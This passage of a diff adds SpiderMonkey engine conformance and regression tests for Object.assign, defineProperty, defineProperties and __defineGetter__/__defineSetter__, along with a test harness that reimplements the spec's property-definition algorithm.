+ Object.assign({}, source);
+ assertEq(log, "#b-b#c#a-a");
+}
+correctPropertyTraversal();
+
+// Only [[Enumerable]] properties are assigned to target
+function onlyEnumerablePropertiesAssigned() {
+ var source = Object.defineProperties({}, {
+ a: {value: 1, enumerable: true},
+ b: {value: 2, enumerable: false},
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+onlyEnumerablePropertiesAssigned();
+
+
+// Enumerability is decided on-time, not before main loop (1)
+function testEnumerabilityDeterminedInLoop1()
+{
+ var getterCalled = false;
+ var sourceTarget = {
+ get a() { getterCalled = true },
+ get b() { Object.defineProperty(sourceTarget, "a", {enumerable: false}) },
+ };
+ var source = new Proxy(sourceTarget, { ownKeys: () => ["b", "a"] });
+ Object.assign({}, source);
+ assertEq(getterCalled, false);
+}
+testEnumerabilityDeterminedInLoop1();
+
+// Enumerability is decided on-time, not before main loop (2)
+function testEnumerabilityDeterminedInLoop2()
+{
+ var getterCalled = false;
+ var sourceTarget = {
+ get a() { getterCalled = true },
+ get b() { Object.defineProperty(sourceTarget, "a", {enumerable: true}) },
+ };
+ var source = new Proxy(sourceTarget, {
+ ownKeys: () => ["b", "a"]
+ });
+ Object.defineProperty(sourceTarget, "a", {enumerable: false});
+ Object.assign({}, source);
+ assertEq(getterCalled, true);
+}
+testEnumerabilityDeterminedInLoop2();
+
+// Properties are retrieved through Get() and assigned onto
+// the target as data properties, not in any sense cloned over as descriptors
+function testPropertiesRetrievedThroughGet() {
+ var getterCalled = false;
+ Object.assign({}, {get a() { getterCalled = true }});
+ assertEq(getterCalled, true);
+}
+testPropertiesRetrievedThroughGet();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put()
+function testPropertiesAssignedThroughPut() {
+ var setterCalled = false;
+ Object.assign({set a(v) { setterCalled = v }}, {a: true});
+ assertEq(setterCalled, true);
+}
+testPropertiesAssignedThroughPut();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put(): Existing property attributes are not altered
+function propertiesAssignedExistingNotAltered() {
+ var source = {a: 1, b: 2, c: 3};
+ var target = {a: 0, b: 0, c: 0};
+ Object.defineProperty(target, "a", {enumerable: false});
+ Object.defineProperty(target, "b", {configurable: false});
+ Object.defineProperty(target, "c", {enumerable: false, configurable: false});
+ Object.assign(target, source);
+ checkDataProperty(target, "a", 1, true, false, true);
+ checkDataProperty(target, "b", 2, true, true, false);
+ checkDataProperty(target, "c", 3, true, false, false);
+}
+propertiesAssignedExistingNotAltered();
+
+// Properties are retrieved through Get()
+// Properties are assigned through Put(): Throws TypeError if non-writable
+function propertiesAssignedTypeErrorNonWritable() {
+ var source = {a: 1};
+ var target = {a: 0};
+ Object.defineProperty(target, "a", {writable: false});
+ assertThrowsInstanceOf(() => Object.assign(target, source), TypeError);
+ checkDataProperty(target, "a", 0, false, true, true);
+}
+propertiesAssignedTypeErrorNonWritable();
+
+// Properties are retrieved through Get()
+// Put() creates standard properties; Property attributes from source are ignored
+function createsStandardProperties() {
+ var source = {a: 1, b: 2, c: 3, get d() { return 4 }};
+ Object.defineProperty(source, "b", {writable: false});
+ Object.defineProperty(source, "c", {configurable: false});
+ var target = Object.assign({}, source);
+ checkDataProperty(target, "a", 1, true, true, true);
+ checkDataProperty(target, "b", 2, true, true, true);
+ checkDataProperty(target, "c", 3, true, true, true);
+ checkDataProperty(target, "d", 4, true, true, true);
+}
+createsStandardProperties();
+
+// Properties created during traversal are not copied
+function propertiesCreatedDuringTraversalNotCopied() {
+ var source = {get a() { this.b = 2 }};
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+propertiesCreatedDuringTraversalNotCopied();
+
+// Properties deleted during traversal are not copied
+function testDeletePropertiesNotCopied() {
+ var source = new Proxy({
+ get a() { delete this.b },
+ b: 2,
+ }, {
+ getOwnPropertyNames: () => ["a", "b"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+testDeletePropertiesNotCopied();
+
+function testDeletionExposingShadowedProperty()
+{
+ var srcProto = { b: 42 };
+ var src =
+ Object.create(srcProto,
+ { a: { enumerable: true, get: function() { delete this.b; } },
+ b: { value: 2, configurable: true, enumerable: true } });
+ var source = new Proxy(src, { getOwnPropertyNames: () => ["a", "b"] });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, false);
+}
+testDeletionExposingShadowedProperty();
+
+// Properties first deleted and then recreated during traversal are copied (1)
+function testDeletedAndRecreatedPropertiesCopied1() {
+ var source = new Proxy({
+ get a() { delete this.c },
+ get b() { this.c = 4 },
+ c: 3,
+ }, {
+ getOwnPropertyNames: () => ["a", "b", "c"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, true);
+ assertEq("c" in target, true);
+ checkDataProperty(target, "c", 4, true, true, true);
+}
+testDeletedAndRecreatedPropertiesCopied1();
+
+// Properties first deleted and then recreated during traversal are copied (2)
+function testDeletedAndRecreatedPropertiesCopied2() {
+ var source = new Proxy({
+ get a() { delete this.c },
+ get b() { this.c = 4 },
+ c: 3,
+ }, {
+ ownKeys: () => ["a", "c", "b"]
+ });
+ var target = Object.assign({}, source);
+ assertEq("a" in target, true);
+ assertEq("b" in target, true);
+ assertEq("c" in target, false);
+}
+testDeletedAndRecreatedPropertiesCopied2();
+
+// String and Symbol valued properties are copied
+function testStringAndSymbolPropertiesCopied() {
+ var keyA = "str-prop";
+ var source = {"str-prop": 1};
+ var target = Object.assign({}, source);
+ checkDataProperty(target, keyA, 1, true, true, true);
+}
+testStringAndSymbolPropertiesCopied();
+
+// Intermediate exceptions stop traversal and throw exception
+function testExceptionsDoNotStopFirstReported1() {
+ var TestError = function TestError() {};
+ var source = new Proxy({}, {
+ getOwnPropertyDescriptor: function(t, pk) {
+ assertEq(pk, "b");
+ throw new TestError();
+ },
+ ownKeys: () => ["b", "a"]
+ });
+ assertThrowsInstanceOf(() => Object.assign({}, source), TestError);
+}
+testExceptionsDoNotStopFirstReported1();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/object/browser.js b/js/src/tests/non262/object/browser.js
new file mode 100644
index 0000000000..0e57d1fcd0
--- /dev/null
+++ b/js/src/tests/non262/object/browser.js
@@ -0,0 +1,7 @@
+var GLOBAL = 'Window';
+
+function isObject(obj)
+{
+ return obj instanceof Object || obj == window;
+}
+
diff --git a/js/src/tests/non262/object/bug-1150906.js b/js/src/tests/non262/object/bug-1150906.js
new file mode 100644
index 0000000000..27403cccfe
--- /dev/null
+++ b/js/src/tests/non262/object/bug-1150906.js
@@ -0,0 +1,13 @@
+function f(x) {
+ Object.defineProperty(arguments, 0, {
+ get: function() {}
+ });
+ return arguments;
+}
+
+var obj = f(1);
+assertEq(obj[0], undefined);
+assertEq(Object.getOwnPropertyDescriptor(obj, 0).set, undefined);
+assertThrowsInstanceOf(() => { "use strict"; obj[0] = 1; }, TypeError);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/bug-1206700.js b/js/src/tests/non262/object/bug-1206700.js
new file mode 100644
index 0000000000..4918bcbec5
--- /dev/null
+++ b/js/src/tests/non262/object/bug-1206700.js
@@ -0,0 +1,10 @@
+var x = {};
+Reflect.set(x, "prop", 5, Object.prototype);
+var y = {};
+Reflect.set(y, "prop", 6, Object.prototype);
+assertEq(x.hasOwnProperty("prop"), false);
+assertEq(y.hasOwnProperty("prop"), false);
+assertEq(Object.prototype.hasOwnProperty("prop"), true);
+assertEq(Object.prototype.prop, 6);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/object/clear-dictionary-accessor-getset.js b/js/src/tests/non262/object/clear-dictionary-accessor-getset.js
new file mode 100644
index 0000000000..f0d9e11ca6
--- /dev/null
+++ b/js/src/tests/non262/object/clear-dictionary-accessor-getset.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "clear-dictionary-accessor-getset.js";
+var BUGNUMBER = 1082662;
+var summary =
+ "Properly handle GC of a dictionary accessor property whose [[Get]] or " +
+ "[[Set]] has been changed to |undefined|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function test(field)
+{
+ var prop = "[[" + field[0].toUpperCase() + field.substring(1) + "]]";
+ print("Testing for GC crashes after setting " + prop + " to undefined...");
+
+ function inner()
+ {
+ // Create an object with an accessor property.
+ var obj = { x: 42, get y() {}, set y(v) {} };
+
+ // 1) convert it to dictionary mode, in the process 2) creating a new
+ // version of that accessor property whose [[Get]] and [[Set]] are objects
+ // that trigger post barriers.
+ delete obj.x;
+
+ var desc = {};
+ desc[field] = undefined;
+
+ // Overwrite [[field]] with undefined. Note #1 above is necessary so this
+ // is an actual *overwrite*, and not (possibly) a shape-tree fork that
+ // doesn't overwrite.
+ Object.defineProperty(obj, "y", desc);
+
+ }
+
+ inner();
+ gc(); // In unfixed code, this crashes trying to mark a null [[field]].
+}
+
+test("get");
+test("set");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/object/defineGetter-defineSetter.js b/js/src/tests/non262/object/defineGetter-defineSetter.js
new file mode 100644
index 0000000000..b2bb21f67c
--- /dev/null
+++ b/js/src/tests/non262/object/defineGetter-defineSetter.js
@@ -0,0 +1,92 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+let count = 0;
+let verifyProxy = new Proxy({}, {
+ defineProperty(target, property, descriptor) {
+ assertEq(property, "x");
+
+ assertEq(descriptor.enumerable, true);
+ assertEq(descriptor.configurable, true);
+
+ if ("set" in descriptor)
+ assertEq(descriptor.set, Object.prototype.__defineSetter__);
+ else
+ assertEq(descriptor.get, Object.prototype.__defineGetter__);
+
+ assertEq(Object.keys(descriptor).length, 3);
+
+ count++;
+ return true;
+ }
+});
+
+for (let define of [Object.prototype.__defineGetter__, Object.prototype.__defineSetter__]) {
+ // null/undefined |this| value
+ for (let thisv of [undefined, null])
+ assertThrowsInstanceOf(() => define.call(thisv, "x", define), TypeError);
+
+ // non-callable getter/setter
+ let nonCallable = [{}, [], new Proxy({}, {})];
+ for (let value of nonCallable)
+ assertThrowsInstanceOf(() => define.call(verifyProxy, "x", value), TypeError);
+
+ // ToPropertyKey
+ let key = {
+ [Symbol.toPrimitive](hint) {
+ assertEq(hint, "string");
+ // Throws, because non-primitive is returned
+ return {};
+ },
+ valueOf() { throw "wrongly invoked"; },
+ toString() { throw "wrongly invoked"; }
+ };
+ assertThrowsInstanceOf(() => define.call(verifyProxy, key, define), TypeError);
+
+ key = {
+ [Symbol.toPrimitive](hint) {
+ assertEq(hint, "string");
+ return "x";
+ },
+ valueOf() { throw "wrongly invoked"; },
+ toString() { throw "wrongly invoked"; }
+ }
+ define.call(verifyProxy, key, define);
+
+ key = {
+ [Symbol.toPrimitive]: undefined,
+
+ valueOf() { throw "wrongly invoked"; },
+ toString() { return "x"; }
+ }
+ define.call(verifyProxy, key, define);
+
+ // Bog standard call
+ define.call(verifyProxy, "x", define);
+
+ let obj = {};
+ define.call(obj, "x", define);
+ let descriptor = Object.getOwnPropertyDescriptor(obj, "x");
+
+ assertEq(descriptor.enumerable, true);
+ assertEq(descriptor.configurable, true);
+
+ if (define == Object.prototype.__defineSetter__) {
+ assertEq(descriptor.get, undefined);
+ assertEq(descriptor.set, define);
+ } else {
+ assertEq(descriptor.get, define);
+ assertEq(descriptor.set, undefined);
+ }
+
+ assertEq(Object.keys(descriptor).length, 4);
+
+
+}
+
+// Number of calls that should succeed
+assertEq(count, 6);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/defineProperties-callable-accessor.js b/js/src/tests/non262/object/defineProperties-callable-accessor.js
new file mode 100644
index 0000000000..1e92a2c92e
--- /dev/null
+++ b/js/src/tests/non262/object/defineProperties-callable-accessor.js
@@ -0,0 +1,19 @@
+// ObjectDefineProperties with non callable accessor throws.
+const descriptors = [
+ {get: 1}, {set: 1},
+ {get: []}, {set: []},
+ {get: {}}, {set: {}},
+ {get: new Number}, {set: new Number},
+
+ {get: 1, set: 1},
+ {get: [], set: []},
+ {get: {}, set: {}},
+ {get: new Number, set: new Number},
+];
+
+for (const descriptor of descriptors) {
+ assertThrowsInstanceOf(() => Object.create(null, {x: descriptor}), TypeError);
+ assertThrowsInstanceOf(() => Object.defineProperties({}, {x: descriptor}), TypeError);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/defineProperties-order.js b/js/src/tests/non262/object/defineProperties-order.js
new file mode 100644
index 0000000000..417d101833
--- /dev/null
+++ b/js/src/tests/non262/object/defineProperties-order.js
@@ -0,0 +1,17 @@
+// Based on testcases provided by André Bargull
+
+let log = [];
+let logger = new Proxy({}, {
+ get(target, key) {
+ log.push(key);
+ }
+});
+
+Object.create(null, new Proxy({a: {value: 0}, b: {value: 1}}, logger));
+assertEq(log.join(), "ownKeys,getOwnPropertyDescriptor,get,getOwnPropertyDescriptor,get");
+
+log = [];
+Object.defineProperties({}, new Proxy({a: {value: 0}, b: {value: 1}}, logger));
+assertEq(log.join(), "ownKeys,getOwnPropertyDescriptor,get,getOwnPropertyDescriptor,get");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/object/defineProperty-proxy.js b/js/src/tests/non262/object/defineProperty-proxy.js
new file mode 100644
index 0000000000..b5ece940bc
--- /dev/null
+++ b/js/src/tests/non262/object/defineProperty-proxy.js
@@ -0,0 +1,54 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test details of the implementation of ToPropertyDescriptor exposed to scripts
+// thanks to scriptable proxies.
+
+// A LoggingProxy object logs certain operations performed on it.
+var log = [];
+function LoggingProxy(target) {
+ return new Proxy(target, {
+ has: function (t, id) {
+ log.push("has " + id);
+ return id in t;
+ },
+ get: function (t, id) {
+ log.push("get " + id);
+ return t[id];
+ }
+ });
+}
+
+// Tragically, we use separate code to implement Object.defineProperty on
+// arrays and on proxies. So run the test three times.
+var testSubjects = [
+ {},
+ [],
+ new Proxy({}, {})
+];
+
+for (var obj of testSubjects) {
+ log = [];
+
+ // Object.defineProperty is one public method that performs a
+ // ToPropertyDescriptor call.
+ Object.defineProperty(obj, "x", new LoggingProxy({
+ enumerable: true,
+ configurable: true,
+ value: 3,
+ writable: true
+ }));
+
+ // It should have performed exactly these operations on the proxy, in this
+ // order. See ES6 rev 24 (2014 April 27) 6.2.4.5 ToPropertyDescriptor.
+ assertDeepEq(log, [
+ "has enumerable", "get enumerable",
+ "has configurable", "get configurable",
+ "has value", "get value",
+ "has writable", "get writable",
+ "has get",
+ "has set"
+ ]);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/object/defineProperty-setup.js b/js/src/tests/non262/object/defineProperty-setup.js
new file mode 100644
index 0000000000..da6fe8f496
--- /dev/null
+++ b/js/src/tests/non262/object/defineProperty-setup.js
@@ -0,0 +1,1071 @@
+// |reftest| skip -- not a test.
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq("defineProperty" in Object, true);
+assertEq(Object.defineProperty.length, 3);
+
+/*
+ * Disable an assertion that is pathologically slow given the exhaustiveness of
+ * these tests.
+ */
+if (typeof enableStackWalkingAssertion === "function")
+ enableStackWalkingAssertion(false);
+
+if (!Object.prototype.toSource)
+{
+ Object.defineProperty(Object.prototype, "toSource",
+ {
+ value: function toSource()
+ {
+ if (this instanceof RegExp)
+ {
+ var v = "new RegExp(" + uneval(this.source);
+ var f = (this.multiline ? "m" : "") +
+ (this.global ? "g" : "") +
+ (this.ignoreCase ? "i" : "");
+ return v + (f ? ", '" + f + "'" : "") + ")";
+ }
+ return JSON.stringify(this);
+ },
+ enumerable: false,
+ configurable: true,
+ writable: true
+ });
+}
+if (!("uneval" in this))
+{
+ Object.defineProperty(this, "uneval",
+ {
+ value: function uneval(v)
+ {
+ if (v === null)
+ return "null";
+ if (typeof v === "object")
+ return v.toSource();
+ if (typeof v === "string")
+ {
+ v = JSON.stringify({v:v});
+ return v.substring(5, v.length - 1);
+ }
+ return "" + v;
+ },
+ enumerable: false,
+ configurable: true,
+ writable: true
+ });
+}
+
+// reimplemented for the benefit of engines which don't have this helper
+function assertEq(v1, v2, m)
+{
+ if (!SameValue(v1, v2))
+ {
+ throw "assertion failed: " +
+ "got " + uneval(v1) + ", expected " + uneval(v2) +
+ (m ? ": " + m : "");
+ }
+}
+
+function SameValue(v1, v2)
+{
+ if (v1 === 0 && v2 === 0)
+ return 1 / v1 === 1 / v2;
+ if (v1 !== v1 && v2 !== v2)
+ return true;
+ return v1 === v2;
+}
+
+function PropertyDescriptor(pd)
+{
+ if (pd)
+ this.update(pd);
+}
+PropertyDescriptor.prototype.update = function update(pd)
+{
+ if ("get" in pd)
+ this.get = pd.get;
+ if ("set" in pd)
+ this.set = pd.set;
+ if ("configurable" in pd)
+ this.configurable = pd.configurable;
+ if ("writable" in pd)
+ this.writable = pd.writable;
+ if ("enumerable" in pd)
+ this.enumerable = pd.enumerable;
+ if ("value" in pd)
+ this.value = pd.value;
+};
+PropertyDescriptor.prototype.convertToDataDescriptor = function convertToDataDescriptor()
+{
+ delete this.get;
+ delete this.set;
+ this.writable = false;
+ this.value = undefined;
+};
+PropertyDescriptor.prototype.convertToAccessorDescriptor = function convertToAccessorDescriptor()
+{
+ delete this.writable;
+ delete this.value;
+ this.get = undefined;
+ this.set = undefined;
+};
+
+function compareDescriptors(d1, d2)
+{
+ if (d1 === undefined)
+ {
+ assertEq(d2, undefined, "non-descriptors");
+ return;
+ }
+ if (d2 === undefined)
+ {
+ assertEq(true, false, "descriptor-equality mismatch: " + uneval(d1) + ", " + uneval(d2));
+ return;
+ }
+
+ var props = ["value", "get", "set", "enumerable", "configurable", "writable"];
+ for (var i = 0, sz = props.length; i < sz; i++)
+ {
+ var p = props[i];
+ assertEq(p in d1, p in d2, p + " different in d1/d2");
+ if (p in d1)
+ assertEq(d1[p], d2[p], p);
+ }
+}
+
+function examine(desc, field, allowDefault)
+{
+ if (field in desc)
+ return desc[field];
+ assertEq(allowDefault, true, "reimplementation error");
+ switch (field)
+ {
+ case "value":
+ case "get":
+ case "set":
+ return undefined;
+ case "writable":
+ case "enumerable":
+ case "configurable":
+ return false;
+ default:
+ assertEq(true, false, "bad field name: " + field);
+ }
+}
+
+function IsAccessorDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!("get" in desc) && !("set" in desc))
+ return false;
+ return true;
+}
+
+function IsDataDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!("value" in desc) && !("writable" in desc))
+ return false;
+ return true;
+}
+
+function IsGenericDescriptor(desc)
+{
+ if (!desc)
+ return false;
+ if (!IsAccessorDescriptor(desc) && !IsDataDescriptor(desc))
+ return true;
+ return false;
+}
+
+
+
+function CustomObject()
+{
+ this.properties = {};
+ this.extensible = true;
+}
+CustomObject.prototype =
+{
+ _reject: function _reject(throwing, msg)
+ {
+ if (throwing)
+ throw new TypeError(msg + "; rejected!");
+ return false;
+ },
+ defineOwnProperty: function defineOwnProperty(propname, desc, throwing)
+ {
+ assertEq(typeof propname, "string", "non-string propname");
+
+ // Step 1.
+ var current = this.properties[propname];
+
+ // Step 2.
+ var extensible = this.extensible;
+
+ // Step 3.
+ if (current === undefined && !extensible)
+ return this._reject(throwing, "object not extensible");
+
+ // Step 4.
+ if (current === undefined && extensible)
+ {
+ var p;
+ // Step 4(a).
+ if (IsGenericDescriptor(desc) || IsDataDescriptor(desc))
+ {
+ p = new PropertyDescriptor();
+ p.value = examine(desc, "value", true);
+ p.writable = examine(desc, "writable", true);
+ p.enumerable = examine(desc, "enumerable", true);
+ p.configurable = examine(desc, "configurable", true);
+ }
+ // Step 4(b).
+ else
+ {
+ p = new PropertyDescriptor();
+ p.get = examine(desc, "get", true);
+ p.set = examine(desc, "set", true);
+ p.enumerable = examine(desc, "enumerable", true);
+ p.configurable = examine(desc, "configurable", true);
+ }
+
+ this.properties[propname] = p;
+
+ // Step 4(c).
+ return true;
+ }
+
+ // Step 5.
+ if (!("value" in desc) && !("get" in desc) && !("set" in desc) &&
+ !("writable" in desc) && !("enumerable" in desc) &&
+ !("configurable" in desc))
+ {
+ return;
+ }
+
+ // Step 6.
+ do
+ {
+ if ("value" in desc)
+ {
+ if (!("value" in current) || !SameValue(desc.value, current.value))
+ break;
+ }
+ if ("get" in desc)
+ {
+ if (!("get" in current) || !SameValue(desc.get, current.get))
+ break;
+ }
+ if ("set" in desc)
+ {
+ if (!("set" in current) || !SameValue(desc.set, current.set))
+ break;
+ }
+ if ("writable" in desc)
+ {
+ if (!("writable" in current) ||
+ !SameValue(desc.writable, current.writable))
+ {
+ break;
+ }
+ }
+ if ("enumerable" in desc)
+ {
+ if (!("enumerable" in current) ||
+ !SameValue(desc.enumerable, current.enumerable))
+ {
+ break;
+ }
+ }
+ if ("configurable" in desc)
+ {
+ if (!("configurable" in current) ||
+ !SameValue(desc.configurable, current.configurable))
+ {
+ break;
+ }
+ }
+
+ // all fields in desc also in current, with the same values
+ return true;
+ }
+ while (false);
+
+ // Step 7.
+ if (!examine(current, "configurable"))
+ {
+ if ("configurable" in desc && examine(desc, "configurable"))
+ return this._reject(throwing, "can't make configurable again");
+ if ("enumerable" in desc &&
+ examine(current, "enumerable") !== examine(desc, "enumerable"))
+ {
+ return this._reject(throwing, "can't change enumerability");
+ }
+ }
+
+ // Step 8.
+ if (IsGenericDescriptor(desc))
+ {
+ // do nothing
+ }
+ // Step 9.
+ else if (IsDataDescriptor(current) !== IsDataDescriptor(desc))
+ {
+ // Step 9(a).
+ if (!examine(current, "configurable"))
+ return this._reject(throwing, "can't change unconfigurable descriptor's type");
+ // Step 9(b).
+ if (IsDataDescriptor(current))
+ current.convertToAccessorDescriptor();
+ // Step 9(c).
+ else
+ current.convertToDataDescriptor();
+ }
+ // Step 10.
+ else if (IsDataDescriptor(current) && IsDataDescriptor(desc))
+ {
+ // Step 10(a)
+ if (!examine(current, "configurable"))
+ {
+ // Step 10(a).i.
+ if (!examine(current, "writable") &&
+ "writable" in desc && examine(desc, "writable"))
+ {
+ return this._reject(throwing, "can't make data property writable again");
+ }
+ // Step 10(a).ii.
+ if (!examine(current, "writable"))
+ {
+ if ("value" in desc &&
+ !SameValue(examine(desc, "value"), examine(current, "value")))
+ {
+ return this._reject(throwing, "can't change value if not writable");
+ }
+ }
+ }
+ // Step 10(b).
+ else
+ {
+ assertEq(examine(current, "configurable"), true,
+ "spec bug step 10(b)");
+ }
+ }
+ // Step 11.
+ else
+ {
+ assertEq(IsAccessorDescriptor(current) && IsAccessorDescriptor(desc),
+ true,
+ "spec bug");
+
+ // Step 11(a).
+ if (!examine(current, "configurable"))
+ {
+ // Step 11(a).i.
+ if ("set" in desc &&
+ !SameValue(examine(desc, "set"), examine(current, "set")))
+ {
+ return this._reject(throwing, "can't change setter if not configurable");
+ }
+ // Step 11(a).ii.
+ if ("get" in desc &&
+ !SameValue(examine(desc, "get"), examine(current, "get")))
+ {
+ return this._reject(throwing, "can't change getter if not configurable");
+ }
+ }
+ }
+
+ // Step 12.
+ current.update(desc);
+
+ // Step 13.
+ return true;
+ }
+};
+
+function IsCallable(v)
+{
+ return typeof v === "undefined" || typeof v === "function";
+}
+
+var NativeTest =
+ {
+ newObject: function newObject()
+ {
+ return {};
+ },
+ defineProperty: function defineProperty(obj, propname, propdesc)
+ {
+ Object.defineProperty(obj, propname, propdesc);
+ },
+ getDescriptor: function getDescriptor(obj, propname)
+ {
+ return Object.getOwnPropertyDescriptor(obj, propname);
+ }
+ };
+
+var ReimplTest =
+ {
+ newObject: function newObject()
+ {
+ return new CustomObject();
+ },
+ defineProperty: function defineProperty(obj, propname, propdesc)
+ {
+ assertEq(obj instanceof CustomObject, true, "obj not instanceof CustomObject");
+ if ("get" in propdesc || "set" in propdesc)
+ {
+ if ("value" in propdesc || "writable" in propdesc)
+ throw new TypeError("get/set and value/writable");
+ if (!IsCallable(propdesc.get))
+ throw new TypeError("get defined, uncallable");
+ if (!IsCallable(propdesc.set))
+ throw new TypeError("set defined, uncallable");
+ }
+ return obj.defineOwnProperty(propname, propdesc, true);
+ },
+ getDescriptor: function getDescriptor(obj, propname)
+ {
+ if (!(propname in obj.properties))
+ return undefined;
+
+ return new PropertyDescriptor(obj.properties[propname]);
+ }
+ };
+
+var JSVAL_INT_MAX = Math.pow(2, 30) - 1;
+var JSVAL_INT_MIN = -Math.pow(2, 30);
+
+
+function isValidDescriptor(propdesc)
+{
+ if ("get" in propdesc || "set" in propdesc)
+ {
+ if ("value" in propdesc || "writable" in propdesc)
+ return false;
+
+ // We permit null here simply because this test's author believes the
+ // implementation may sometime be susceptible to making mistakes in this
+ // regard and would prefer to be cautious.
+ if (propdesc.get !== null && propdesc.get !== undefined && !IsCallable(propdesc.get))
+ return false;
+ if (propdesc.set !== null && propdesc.set !== undefined && !IsCallable(propdesc.set))
+ return false;
+ }
+
+ return true;
+}
+
+
+var OMIT = {};
+var VALUES =
+ [-Infinity, JSVAL_INT_MIN, -0, +0, 1.5, JSVAL_INT_MAX, Infinity,
+ NaN, "foo", "bar", null, undefined, true, false, {}, /a/, OMIT];
+var GETS =
+ [undefined, function get1() { return 1; }, function get2() { return 2; },
+ null, 5, OMIT];
+var SETS =
+ [undefined, function set1() { return 1; }, function set2() { return 2; },
+ null, 5, OMIT];
+var ENUMERABLES = [true, false, OMIT];
+var CONFIGURABLES = [true, false, OMIT];
+var WRITABLES = [true, false, OMIT];
+
+function mapTestDescriptors(filter)
+{
+ var descs = [];
+ var desc = {};
+
+ function put(field, value)
+ {
+ if (value !== OMIT)
+ desc[field] = value;
+ }
+
+ VALUES.forEach(function(value)
+ {
+ GETS.forEach(function(get)
+ {
+ SETS.forEach(function(set)
+ {
+ ENUMERABLES.forEach(function(enumerable)
+ {
+ CONFIGURABLES.forEach(function(configurable)
+ {
+ WRITABLES.forEach(function(writable)
+ {
+ desc = {};
+ put("value", value);
+ put("get", get);
+ put("set", set);
+ put("enumerable", enumerable);
+ put("configurable", configurable);
+ put("writable", writable);
+ if (filter(desc))
+ descs.push(desc);
+ });
+ });
+ });
+ });
+ });
+ });
+
+ return descs;
+}
+
+var ALL_DESCRIPTORS = mapTestDescriptors(function(d) { return true; });
+var VALID_DESCRIPTORS = mapTestDescriptors(isValidDescriptor);
+
+function TestRunner()
+{
+ this._logLines = [];
+}
+TestRunner.prototype =
+ {
+ // MAIN METHODS
+
+ runFunctionLengthTests: function runFunctionLengthTests()
+ {
+ var self = this;
+ function functionLengthTests()
+ {
+ self._fullFunctionLengthTests(() => Function("one", "/* body */"), 1);
+ self._fullFunctionLengthTests(() => function(one, two, three=null) { }, 2);
+ self._fullFunctionLengthTests(() => (one, two, ...etc) => 0, 2);
+ self._fullFunctionLengthTests(() => ({method(){}}.method), 0);
+ self._fullFunctionLengthTests(() => Object.getOwnPropertyDescriptor({set x(v){}}, "x").set, 1);
+ }
+
+ this._runTestSet(functionLengthTests, "Function length tests completed!");
+ },
+
+ runNotPresentTests: function runNotPresentTests()
+ {
+ var self = this;
+ function notPresentTests()
+ {
+ print("Running not-present tests now...");
+
+ for (var i = 0, sz = ALL_DESCRIPTORS.length; i < sz; i++)
+ self._runSingleNotPresentTest(ALL_DESCRIPTORS[i]);
+ };
+
+ this._runTestSet(notPresentTests, "Not-present length tests completed!");
+ },
+
+ runPropertyPresentTestsFraction:
+ function runPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+ function propertyPresentTests()
+ {
+ print("Running already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j], []);
+ }
+ }
+
+ this._runTestSet(propertyPresentTests,
+ "Property-present fraction " + part + " of " + parts +
+ " completed!");
+ },
+
+ runNonTerminalPropertyPresentTestsFraction:
+ function runNonTerminalPropertyPresentTestsFraction(part, parts)
+ {
+ var self = this;
+
+ /*
+ * A plain old property to define on the object before redefining the
+ * originally-added property, to test redefinition of a property that's
+ * not also lastProperty. NB: we could loop over every possible
+ * descriptor here if we wanted, even try adding more than one, but we'd
+ * hit cubic complexity and worse, and SpiderMonkey only distinguishes by
+ * the mere presence of the middle property, not its precise details.
+ */
+ var middleDefines =
+ [{
+ property: "middle",
+ descriptor:
+ { value: 17, writable: true, configurable: true, enumerable: true }
+ }];
+
+ function nonTerminalPropertyPresentTests()
+ {
+ print("Running non-terminal already-present tests now...");
+
+ var total = VALID_DESCRIPTORS.length;
+ var start = Math.floor((part - 1) / parts * total);
+ var end = Math.floor(part / parts * total);
+
+ for (var i = start; i < end; i++)
+ {
+ var old = VALID_DESCRIPTORS[i];
+ print("Starting test with old descriptor " + old.toSource() + "...");
+
+ for (var j = 0, sz2 = VALID_DESCRIPTORS.length; j < sz2; j++)
+ {
+ self._runSinglePropertyPresentTest(old, VALID_DESCRIPTORS[j],
+ middleDefines);
+ }
+ }
+ }
+
+ this._runTestSet(nonTerminalPropertyPresentTests,
+ "Non-terminal property-present fraction " +
+ part + " of " + parts + " completed!");
+ },
+
